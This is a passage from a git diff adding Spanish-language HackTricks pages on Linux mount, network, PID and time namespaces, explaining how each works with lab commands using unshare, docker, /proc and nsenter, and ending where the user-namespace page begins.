||||
|
||||
1. Cuando se crea un nuevo espacio de nombres de montaje, se inicializa con una **copia de los puntos de montaje del espacio de nombres padre**. Esto significa que, en la creación, el nuevo espacio de nombres comparte la misma vista del sistema de archivos que su padre. Sin embargo, cualquier cambio posterior en los puntos de montaje dentro del espacio de nombres no afectará al padre ni a otros espacios de nombres.
|
||||
2. Cuando un proceso modifica un punto de montaje dentro de su espacio de nombres, como montar o desmontar un sistema de archivos, el **cambio es local a ese espacio de nombres** y no afecta a otros espacios de nombres. Esto permite que cada espacio de nombres tenga su propia jerarquía de sistema de archivos independiente.
|
||||
3. Los procesos pueden moverse entre espacios de nombres utilizando la llamada al sistema `setns()`, o crear nuevos espacios de nombres utilizando las llamadas al sistema `unshare()` o `clone()` con la bandera `CLONE_NEWNS`. Cuando un proceso se mueve a un nuevo espacio de nombres o crea uno, comenzará a utilizar los puntos de montaje asociados con ese espacio de nombres.
|
||||
4. **Los descriptores de archivos y los inodos se comparten entre espacios de nombres**, lo que significa que si un proceso en un espacio de nombres tiene un descriptor de archivo abierto que apunta a un archivo, puede **pasar ese descriptor de archivo** a un proceso en otro espacio de nombres, y **ambos procesos accederán al mismo archivo**. Sin embargo, la ruta del archivo puede no ser la misma en ambos espacios de nombres debido a las diferencias en los puntos de montaje.
|
||||
|
||||
## Laboratorio:
|
||||
|
||||
### Crear diferentes espacios de nombres
|
||||
|
||||
#### CLI
|
||||
```bash
|
||||
sudo unshare -m [--mount-proc] /bin/bash
|
||||
```
|
||||
Al montar una nueva instancia del sistema de archivos `/proc` utilizando el parámetro `--mount-proc`, se asegura de que el nuevo espacio de nombres de montaje tenga una **vista precisa y aislada de la información de proceso específica de ese espacio de nombres**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Error: bash: fork: Cannot allocate memory</summary>
|
||||
|
||||
Si ejecutas la línea anterior sin `-f`, obtendrás ese error.\
|
||||
El error es causado por el proceso PID 1 que sale en el nuevo espacio de nombres.
|
||||
|
||||
Después de que bash comience a ejecutarse, bifurcará varios nuevos subprocesos para hacer algunas cosas. Si ejecutas unshare sin -f, bash tendrá el mismo PID que el proceso "unshare" actual. El proceso "unshare" actual llama al sistema de llamadas unshare, crea un nuevo espacio de nombres de PID, pero el proceso "unshare" actual no está en el nuevo espacio de nombres de PID. Es el comportamiento deseado del kernel de Linux: el proceso A crea un nuevo espacio de nombres, el proceso A en sí mismo no se colocará en el nuevo espacio de nombres, solo los subprocesos del proceso A se colocarán en el nuevo espacio de nombres. Entonces, cuando ejecutas:
|
||||
```
|
||||
unshare -p /bin/bash
|
||||
```
|
||||
El proceso unshare ejecutará /bin/bash, y /bin/bash bifurcará varios subprocesos, el primer subproceso de bash se convertirá en PID 1 del nuevo espacio de nombres, y el subproceso saldrá después de completar su trabajo. Por lo tanto, el PID 1 del nuevo espacio de nombres sale.
|
||||
|
||||
El proceso PID 1 tiene una función especial: debe convertirse en el proceso padre de todos los procesos huérfanos. Si el proceso PID 1 en el espacio de nombres raíz sale, el kernel entrará en pánico. Si el proceso PID 1 en un subespacio de nombres sale, el kernel de Linux llamará a la función disable\_pid\_allocation, que limpiará la bandera PIDNS\_HASH\_ADDING en ese espacio de nombres. Cuando el kernel de Linux crea un nuevo proceso, llama a la función alloc\_pid para asignar un PID en un espacio de nombres, y si la bandera PIDNS\_HASH\_ADDING no está establecida, la función alloc\_pid devolverá un error -ENOMEM. Es por eso que aparece el error "Cannot allocate memory".
|
||||
|
||||
Puede resolver este problema utilizando la opción '-f':
|
||||
```
|
||||
unshare -fp /bin/bash
|
||||
```
|
||||
Si ejecutas unshare con la opción '-f', unshare bifurcará un nuevo proceso después de crear el nuevo espacio de nombres pid. Y ejecutará /bin/bash en el nuevo proceso. El nuevo proceso será el pid 1 del nuevo espacio de nombres pid. Luego, bash también bifurcará varios subprocesos para realizar algunas tareas. Como bash en sí mismo es el pid 1 del nuevo espacio de nombres pid, sus subprocesos pueden salir sin ningún problema.
|
||||
|
||||
Copiado de [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
|
||||
</details>
|
||||
|
||||
#### Docker
|
||||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
###  Verificar en qué espacio de nombres está su proceso
|
||||
```bash
|
||||
ls -l /proc/self/ns/mnt
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]'
|
||||
```
|
||||
### Encontrar todos los espacios de nombres de montaje
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
sudo find /proc -maxdepth 3 -type l -name mnt -exec readlink {} \; 2>/dev/null | sort -u
|
||||
# Find the processes with an specific namespace
|
||||
sudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Entrar dentro de un namespace de montaje
|
||||
```bash
|
||||
nsenter -m TARGET_PID --pid /bin/bash
|
||||
```
|
||||
También, solo puedes **entrar en otro namespace de proceso si eres root**. Y **no puedes** **entrar** en otro namespace **sin un descriptor** que apunte a él (como `/proc/self/ns/mnt`).
|
||||
|
||||
Debido a que los nuevos mounts solo son accesibles dentro del namespace, es posible que un namespace contenga información sensible que solo sea accesible desde él.
|
||||
|
||||
### Montar algo
|
||||
```bash
|
||||
# Generate new mount ns
|
||||
unshare -m /bin/bash
|
||||
mkdir /tmp/mount_ns_example
|
||||
mount -t tmpfs tmpfs /tmp/mount_ns_example
|
||||
mount | grep tmpfs # "tmpfs on /tmp/mount_ns_example"
|
||||
echo test > /tmp/mount_ns_example/test
|
||||
ls /tmp/mount_ns_example/test # Exists
|
||||
|
||||
# From the host
|
||||
mount | grep tmpfs # Cannot see "tmpfs on /tmp/mount_ns_example"
|
||||
ls /tmp/mount_ns_example/test # Doesn't exist
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,86 @@
|
|||
# Espacio de nombres de red
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Información básica
|
||||
|
||||
Un espacio de nombres de red es una característica del kernel de Linux que proporciona el aislamiento de la pila de red, permitiendo que **cada espacio de nombres de red tenga su propia configuración de red independiente**, interfaces, direcciones IP, tablas de enrutamiento y reglas de firewall. Este aislamiento es útil en varios escenarios, como la contenerización, donde cada contenedor debe tener su propia configuración de red, independiente de otros contenedores y del sistema host.
|
||||
|
||||
### Cómo funciona:
|
||||
|
||||
1. Cuando se crea un nuevo espacio de nombres de red, comienza con una **pila de red completamente aislada**, sin **interfaces de red** excepto la interfaz de bucle local (lo). Esto significa que los procesos que se ejecutan en el nuevo espacio de nombres de red no pueden comunicarse con procesos en otros espacios de nombres o en el sistema host de forma predeterminada.
|
||||
2. Se pueden crear **interfaces de red virtuales**, como pares veth, y moverlas entre espacios de nombres de red. Esto permite establecer conectividad de red entre espacios de nombres o entre un espacio de nombres y el sistema host. Por ejemplo, un extremo de un par veth se puede colocar en el espacio de nombres de red de un contenedor, y el otro extremo se puede conectar a un **puente** u otra interfaz de red en el espacio de nombres del host, proporcionando conectividad de red al contenedor.
|
||||
3. Las interfaces de red dentro de un espacio de nombres pueden tener sus **propias direcciones IP, tablas de enrutamiento y reglas de firewall**, independientes de otros espacios de nombres. Esto permite que los procesos en diferentes espacios de nombres de red tengan diferentes configuraciones de red y operen como si estuvieran ejecutándose en sistemas de red separados.
|
||||
4. Los procesos pueden moverse entre espacios de nombres utilizando la llamada al sistema `setns()`, o crear nuevos espacios de nombres utilizando las llamadas al sistema `unshare()` o `clone()` con la bandera `CLONE_NEWNET`. Cuando un proceso se mueve a un nuevo espacio de nombres o crea uno, comenzará a usar la configuración de red e interfaces asociadas con ese espacio de nombres.
|
||||
|
||||
## Laboratorio:
|
||||
|
||||
### Crear diferentes espacios de nombres
|
||||
|
||||
#### CLI
|
||||
```bash
|
||||
sudo unshare -n [--mount-proc] /bin/bash
|
||||
# Run ifconfig or ip -a
|
||||
```
|
||||
Al montar una nueva instancia del sistema de archivos `/proc` utilizando el parámetro `--mount-proc`, se asegura de que el nuevo espacio de nombres de montaje tenga una **vista precisa y aislada de la información de proceso específica de ese espacio de nombres**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Error: bash: fork: Cannot allocate memory</summary>
|
||||
|
||||
Si ejecutas la línea anterior sin `-f`, obtendrás ese error.\
|
||||
El error es causado por el proceso PID 1 que sale en el nuevo espacio de nombres.
|
||||
|
||||
Después de que bash comience a ejecutarse, bifurcará varios nuevos subprocesos para hacer algunas cosas. Si ejecutas unshare sin -f, bash tendrá el mismo PID que el proceso "unshare" actual. El proceso "unshare" actual llama al sistema de llamadas unshare, crea un nuevo espacio de nombres de PID, pero el proceso "unshare" actual no está en el nuevo espacio de nombres de PID. Es el comportamiento deseado del kernel de Linux: el proceso A crea un nuevo espacio de nombres, el proceso A en sí mismo no se colocará en el nuevo espacio de nombres, solo los subprocesos del proceso A se colocarán en el nuevo espacio de nombres. Entonces, cuando ejecutas:
|
||||
```
|
||||
unshare -p /bin/bash
|
||||
```
|
||||
El proceso unshare ejecutará /bin/bash, y /bin/bash bifurcará varios subprocesos, el primer subproceso de bash se convertirá en PID 1 del nuevo espacio de nombres, y el subproceso saldrá después de completar su trabajo. Por lo tanto, el PID 1 del nuevo espacio de nombres sale.
|
||||
|
||||
El proceso PID 1 tiene una función especial: debe convertirse en el proceso padre de todos los procesos huérfanos. Si el proceso PID 1 en el espacio de nombres raíz sale, el kernel entrará en pánico. Si el proceso PID 1 en un subespacio de nombres sale, el kernel de Linux llamará a la función disable\_pid\_allocation, que limpiará la bandera PIDNS\_HASH\_ADDING en ese espacio de nombres. Cuando el kernel de Linux crea un nuevo proceso, llama a la función alloc\_pid para asignar un PID en un espacio de nombres, y si la bandera PIDNS\_HASH\_ADDING no está establecida, la función alloc\_pid devolverá un error -ENOMEM. Es por eso que se produce el error "Cannot allocate memory".
|
||||
|
||||
Puede resolver este problema utilizando la opción '-f':
|
||||
```
|
||||
unshare -fp /bin/bash
|
||||
```
|
||||
Si ejecutas unshare con la opción '-f', unshare bifurcará un nuevo proceso después de crear el nuevo espacio de nombres pid. Y ejecutará /bin/bash en el nuevo proceso. El nuevo proceso será el pid 1 del nuevo espacio de nombres pid. Luego, bash también bifurcará varios subprocesos para realizar algunas tareas. Como bash en sí mismo es el pid 1 del nuevo espacio de nombres pid, sus subprocesos pueden salir sin ningún problema.
|
||||
|
||||
Copiado de [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
|
||||
</details>
|
||||
|
||||
#### Docker
|
||||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
# Run ifconfig or ip -a
|
||||
```
|
||||
###  Verificar en qué espacio de nombres está tu proceso
|
||||
```bash
|
||||
ls -l /proc/self/ns/net
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]'
|
||||
```
|
||||
### Encontrar todos los espacios de nombres de red
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
sudo find /proc -maxdepth 3 -type l -name net -exec readlink {} \; 2>/dev/null | sort -u | grep "net:"
|
||||
# Find the processes with an specific namespace
|
||||
sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Entrar dentro de un namespace de red
|
||||
```bash
|
||||
nsenter -n TARGET_PID --pid /bin/bash
|
||||
```
|
||||
También, solo puedes **entrar en otro namespace de proceso si eres root**. Y no puedes **entrar** en otro namespace **sin un descriptor** que apunte a él (como `/proc/self/ns/net`).
|
|
@ -0,0 +1,90 @@
|
|||
# Espacio de nombres PID
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Información básica
|
||||
|
||||
El espacio de nombres PID (Process IDentifier) es una característica del kernel de Linux que proporciona aislamiento de procesos al permitir que un grupo de procesos tenga su propio conjunto de PIDs únicos, separados de los PIDs en otros espacios de nombres. Esto es particularmente útil en la contenerización, donde el aislamiento de procesos es esencial para la seguridad y la gestión de recursos.
|
||||
|
||||
Cuando se crea un nuevo espacio de nombres PID, el primer proceso en ese espacio de nombres se le asigna el PID 1. Este proceso se convierte en el proceso "init" del nuevo espacio de nombres y es responsable de gestionar otros procesos dentro del espacio de nombres. Cada proceso posterior creado dentro del espacio de nombres tendrá un PID único dentro de ese espacio de nombres, y estos PIDs serán independientes de los PIDs en otros espacios de nombres.
|
||||
|
||||
Desde la perspectiva de un proceso dentro de un espacio de nombres PID, solo puede ver otros procesos en el mismo espacio de nombres. No es consciente de los procesos en otros espacios de nombres, y no puede interactuar con ellos utilizando herramientas tradicionales de gestión de procesos (por ejemplo, `kill`, `wait`, etc.). Esto proporciona un nivel de aislamiento que ayuda a evitar que los procesos interfieran entre sí.
|
||||
|
||||
### Cómo funciona:
|
||||
|
||||
1. Cuando se crea un nuevo proceso (por ejemplo, mediante la llamada al sistema `clone()`), el proceso puede asignarse a un espacio de nombres PID nuevo o existente. **Si se crea un nuevo espacio de nombres, el proceso se convierte en el proceso "init" de ese espacio de nombres**.
|
||||
2. El **kernel** mantiene un **mapeo entre los PIDs en el nuevo espacio de nombres y los PIDs correspondientes** en el espacio de nombres padre (es decir, el espacio de nombres del que se creó el nuevo espacio de nombres). Este mapeo **permite al kernel traducir los PIDs cuando sea necesario**, como cuando se envían señales entre procesos en diferentes espacios de nombres.
|
||||
3. **Los procesos dentro de un espacio de nombres PID solo pueden ver e interactuar con otros procesos en el mismo espacio de nombres**. No son conscientes de los procesos en otros espacios de nombres, y sus PIDs son únicos dentro de su espacio de nombres.
|
||||
4. Cuando se **destruye un espacio de nombres PID** (por ejemplo, cuando el proceso "init" del espacio de nombres sale), **todos los procesos dentro de ese espacio de nombres se terminan**. Esto asegura que todos los recursos asociados con el espacio de nombres se limpien correctamente.
|
||||
|
||||
## Laboratorio:
|
||||
|
||||
### Crear diferentes espacios de nombres
|
||||
|
||||
#### CLI
|
||||
```bash
|
||||
sudo unshare -pf --mount-proc /bin/bash
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>Error: bash: fork: No se puede asignar memoria</summary>
|
||||
|
||||
Si ejecutas la línea anterior sin `-f`, obtendrás ese error.\
|
||||
El error es causado por el proceso PID 1 que sale del nuevo namespace.
|
||||
|
||||
Después de que bash comience a ejecutarse, bifurcará varios subprocesos nuevos para hacer algunas cosas. Si ejecutas unshare sin -f, bash tendrá el mismo PID que el proceso "unshare" actual. El proceso "unshare" actual llama al sistema de llamadas unshare, crea un nuevo namespace de PID, pero el proceso "unshare" actual no está en el nuevo namespace de PID. Es el comportamiento deseado del kernel de Linux: el proceso A crea un nuevo namespace, el proceso A en sí mismo no se colocará en el nuevo namespace, solo los subprocesos del proceso A se colocarán en el nuevo namespace. Entonces, cuando ejecutas:
|
||||
```
|
||||
unshare -p /bin/bash
|
||||
```
|
||||
El proceso unshare ejecutará /bin/bash, y /bin/bash bifurcará varios subprocesos, el primer subproceso de bash se convertirá en PID 1 del nuevo espacio de nombres, y el subproceso saldrá después de completar su trabajo. Por lo tanto, el PID 1 del nuevo espacio de nombres sale.
|
||||
|
||||
El proceso PID 1 tiene una función especial: debe convertirse en el proceso padre de todos los procesos huérfanos. Si el proceso PID 1 en el espacio de nombres raíz sale, el kernel entrará en pánico. Si el proceso PID 1 en un subespacio de nombres sale, el kernel de Linux llamará a la función disable\_pid\_allocation, que limpiará la bandera PIDNS\_HASH\_ADDING en ese espacio de nombres. Cuando el kernel de Linux crea un nuevo proceso, llama a la función alloc\_pid para asignar un PID en un espacio de nombres, y si la bandera PIDNS\_HASH\_ADDING no está establecida, la función alloc\_pid devolverá un error -ENOMEM. Es por eso que se produce el error "Cannot allocate memory".
|
||||
|
||||
Puede resolver este problema utilizando la opción '-f':
|
||||
```
|
||||
unshare -fp /bin/bash
|
||||
```
|
||||
Si ejecutas unshare con la opción '-f', unshare bifurcará un nuevo proceso después de crear el nuevo espacio de nombres pid. Y ejecutará /bin/bash en el nuevo proceso. El nuevo proceso será el pid 1 del nuevo espacio de nombres pid. Luego, bash también bifurcará varios subprocesos para realizar algunas tareas. Como bash en sí mismo es el pid 1 del nuevo espacio de nombres pid, sus subprocesos pueden salir sin ningún problema.
|
||||
|
||||
Copiado de [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
|
||||
</details>
|
||||
|
||||
Al montar una nueva instancia del sistema de archivos `/proc` si usas el parámetro `--mount-proc`, aseguras que el nuevo espacio de nombres de montaje tenga una **vista precisa y aislada de la información de procesos específica de ese espacio de nombres**.
|
||||
|
||||
#### Docker
|
||||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
###  Verificar en qué namespace se encuentra su proceso
|
||||
```bash
|
||||
ls -l /proc/self/ns/pid
|
||||
lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]'
|
||||
```
|
||||
### Encontrar todos los espacios de nombres PID
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null | sort -u
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Ten en cuenta que el usuario root del PID namespace inicial (por defecto) puede ver todos los procesos, incluso los que están en nuevos PID namespaces, por eso podemos ver todos los PID namespaces.
|
||||
|
||||
### Entrar dentro de un PID namespace
|
||||
```bash
|
||||
nsenter -t TARGET_PID --pid /bin/bash
|
||||
```
|
||||
Cuando entras en un espacio de nombres PID desde el espacio de nombres predeterminado, aún podrás ver todos los procesos. Y el proceso de ese espacio de nombres PID podrá ver el nuevo bash en el espacio de nombres PID.
|
||||
|
||||
Además, solo puedes **entrar en otro espacio de nombres de proceso si eres root**. Y no puedes **entrar** en otro espacio de nombres **sin un descriptor** que apunte a él (como `/proc/self/ns/pid`).
|
|
@ -0,0 +1,77 @@
|
|||
# Espacio de tiempo
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Información básica
|
||||
|
||||
El espacio de tiempo permite desplazamientos por espacio de nombres a los relojes monotónicos y de tiempo de arranque del sistema. El espacio de tiempo es adecuado para el uso de contenedores de Linux para permitir que la fecha/hora se cambie dentro de un contenedor y para ajustar los relojes dentro de un contenedor después de la restauración de un punto de control/snapshot.
|
||||
|
||||
## Laboratorio:
|
||||
|
||||
### Crear diferentes espacios de nombres
|
||||
|
||||
#### CLI
|
||||
```bash
|
||||
sudo unshare -T [--mount-proc] /bin/bash
|
||||
```
|
||||
Al montar una nueva instancia del sistema de archivos `/proc` utilizando el parámetro `--mount-proc`, se asegura de que el nuevo espacio de nombres de montaje tenga una **vista precisa y aislada de la información de proceso específica de ese espacio de nombres**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Error: bash: fork: Cannot allocate memory</summary>
|
||||
|
||||
Si ejecutas la línea anterior sin `-f`, obtendrás ese error.\
|
||||
El error es causado por el proceso PID 1 que sale en el nuevo espacio de nombres.
|
||||
|
||||
Después de que bash comience a ejecutarse, bifurcará varios nuevos subprocesos para hacer algunas cosas. Si ejecutas unshare sin -f, bash tendrá el mismo PID que el proceso "unshare" actual. El proceso "unshare" actual llama al sistema de llamadas unshare, crea un nuevo espacio de nombres de PID, pero el proceso "unshare" actual no está en el nuevo espacio de nombres de PID. Es el comportamiento deseado del kernel de Linux: el proceso A crea un nuevo espacio de nombres, el proceso A en sí mismo no se colocará en el nuevo espacio de nombres, solo los subprocesos del proceso A se colocarán en el nuevo espacio de nombres. Entonces, cuando ejecutas:
|
||||
```
|
||||
unshare -p /bin/bash
|
||||
```
|
||||
El proceso unshare ejecutará /bin/bash, y /bin/bash bifurcará varios subprocesos, el primer subproceso de bash se convertirá en PID 1 del nuevo espacio de nombres, y el subproceso saldrá después de completar su trabajo. Por lo tanto, el PID 1 del nuevo espacio de nombres sale.
|
||||
|
||||
El proceso PID 1 tiene una función especial: debe convertirse en el proceso padre de todos los procesos huérfanos. Si el proceso PID 1 en el espacio de nombres raíz sale, el kernel entrará en pánico. Si el proceso PID 1 en un subespacio de nombres sale, el kernel de Linux llamará a la función disable\_pid\_allocation, que limpiará la bandera PIDNS\_HASH\_ADDING en ese espacio de nombres. Cuando el kernel de Linux crea un nuevo proceso, llama a la función alloc\_pid para asignar un PID en un espacio de nombres, y si la bandera PIDNS\_HASH\_ADDING no está establecida, la función alloc\_pid devolverá un error -ENOMEM. Es por eso que se produce el error "Cannot allocate memory".
|
||||
|
||||
Puede resolver este problema utilizando la opción '-f':
|
||||
```
|
||||
unshare -fp /bin/bash
|
||||
```
|
||||
Si ejecutas unshare con la opción '-f', unshare bifurcará un nuevo proceso después de crear el nuevo espacio de nombres pid. Y ejecutará /bin/bash en el nuevo proceso. El nuevo proceso será el pid 1 del nuevo espacio de nombres pid. Luego, bash también bifurcará varios subprocesos para realizar algunas tareas. Como bash en sí mismo es el pid 1 del nuevo espacio de nombres pid, sus subprocesos pueden salir sin ningún problema.
|
||||
|
||||
Copiado de [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
|
||||
</details>
|
||||
|
||||
#### Docker
|
||||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
###  Verificar en qué espacio de nombres está su proceso
|
||||
```bash
|
||||
ls -l /proc/self/ns/time
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]'
|
||||
```
|
||||
### Encontrar todos los espacios de nombres de tiempo
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
sudo find /proc -maxdepth 3 -type l -name time -exec readlink {} \; 2>/dev/null | sort -u
|
||||
# Find the processes with an specific namespace
|
||||
sudo find /proc -maxdepth 3 -type l -name time -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Entrar dentro de un namespace de tiempo
|
||||
```bash
|
||||
nsenter -T TARGET_PID --pid /bin/bash
|
||||
```
|
||||
También, solo puedes **entrar en otro namespace de proceso si eres root**. Y no puedes **entrar** en otro namespace **sin un descriptor** que apunte a él (como `/proc/self/ns/net`).
|
|
@ -0,0 +1,159 @@
|
|||
# Espacio de nombres de usuario
|
||||
|
||||
<details>
|
||||
|
||||
